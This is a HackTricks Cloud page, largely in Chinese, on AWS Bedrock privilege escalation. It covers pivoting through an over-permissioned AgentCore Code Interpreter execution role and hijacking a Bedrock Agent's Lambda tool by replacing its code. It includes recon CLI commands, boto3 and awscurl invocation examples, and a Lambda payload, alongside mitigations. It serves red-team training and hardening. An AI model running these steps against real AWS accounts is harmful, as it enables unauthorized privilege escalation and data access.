AWS - Bedrock PrivEsc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter 是一个托管执行环境。Custom Code Interpreters 可以配置一个 executionRoleArn,它“为 code interpreter 访问 AWS services 提供权限”。
如果一个 低权限 IAM principal 可以 start + invoke 一个配置了 更高权限 execution role 的 Code Interpreter session,那么调用者实际上就可以 pivot 到 execution role 的权限(根据 role 范围不同,属于 lateral movement / privilege escalation)。
Note
这通常是一个 misconfiguration / excessive permissions 问题(给 interpreter execution role 赋予过宽的权限,和/或给过宽的 invoke 访问权限)。 AWS 明确警告要避免 privilege escalation,方法是确保 execution roles 的权限 不高于 被允许 invoke 的 identities,最好是 相等或更少。
Preconditions (common misconfiguration)
- 存在一个 custom code interpreter,它带有过度授权的 execution role(例如:可以访问敏感的 S3/Secrets/SSM 或具备类似 IAM-admin 的能力)。
- 某个用户(developer/auditor/CI identity)拥有以下权限:
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (可选)该用户还可以创建 interpreters:
bedrock-agentcore:CreateCodeInterpreter(这允许他们创建一个配置了 execution role 的新 interpreter,具体取决于组织的 guardrails)。
Recon (identify custom interpreters and execution role usage)
列出 interpreters(control-plane)并检查它们的配置:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
create-code-interpreter命令支持--execution-role-arn,它定义了 interpreter 将拥有的 AWS permissions。
Step 1 - 启动一个 session(这会返回一个 sessionId,而不是交互式 shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Step 2 - Invoke code execution (Boto3 or signed HTTPS)
start-code-interpreter-session 不会提供 interactive python shell。执行是通过 InvokeCodeInterpreter 完成的。
Option A - Boto3 example (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
如果 interpreter 配置了 execution role,sts:GetCallerIdentity() 的输出应反映该 role 的身份(而不是低权限 caller),从而证明 pivot。
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
影响
- 横向移动 到 interpreter execution role 拥有的任何 AWS 访问权限。
- 如果 interpreter execution role 的权限比调用者更高,则可进行 提权。
- 如果没有启用 CloudTrail data events 记录 interpreter 调用,检测会更困难(取决于配置,默认可能不会记录这些调用)。
缓解 / 加固
- 对 interpreter
executionRoleArn实施 最小权限(把它当作 Lambda execution roles / CI roles 来对待)。 - 限制谁可以调用 (
bedrock-agentcore:InvokeCodeInterpreter) 以及谁可以启动会话。 - 使用 SCPs 拒绝 InvokeCodeInterpreter,除非是已批准的 agent runtime roles(在组织级别强制执行可能是必要的)。
- 在适用情况下,为 AgentCore 启用相应的 CloudTrail data events;对异常调用和会话创建进行告警。
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - 通过 Lambda 的 Agent Tool Hijacking
Bedrock Agents 可以将 Lambda-backed action groups 作为 tools(外部执行)使用。如果某个 principal 能 修改 agent 所使用的 Lambda function 的代码,并且随后还能 invoke the agent,那么他就能在 Lambda execution role 下执行由攻击者控制的代码。
Note
这是一次 cross-service trust abuse(Bedrock → Lambda),不是漏洞。攻击者可能无法直接 invoke 这个 Lambda,但仍然可以通过 agent 触发它。
前置条件(常见错误配置)
- 存在一个 Bedrock Agent,其 action group 由 Lambda function 支持
- 攻击者具有:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Lambda execution role 的权限比攻击者更广
- 攻击者可以识别 agent 使用的 Lambda
侦察
枚举 agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspect Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
利用
替换 Lambda code:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
示例 payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
通过 agent 触发:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
影响
- Privilege escalation 到 Lambda execution role
- 从 AWS services 中进行 Data exfiltration
- 通过 trusted agent execution 进行 Cross-service abuse
缓解措施
- Restrict
lambda:UpdateFunctionCode - 使用 least-privilege 的 Lambda roles
- Monitor Lambda 代码变更
- Audit Bedrock agent tool 使用
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

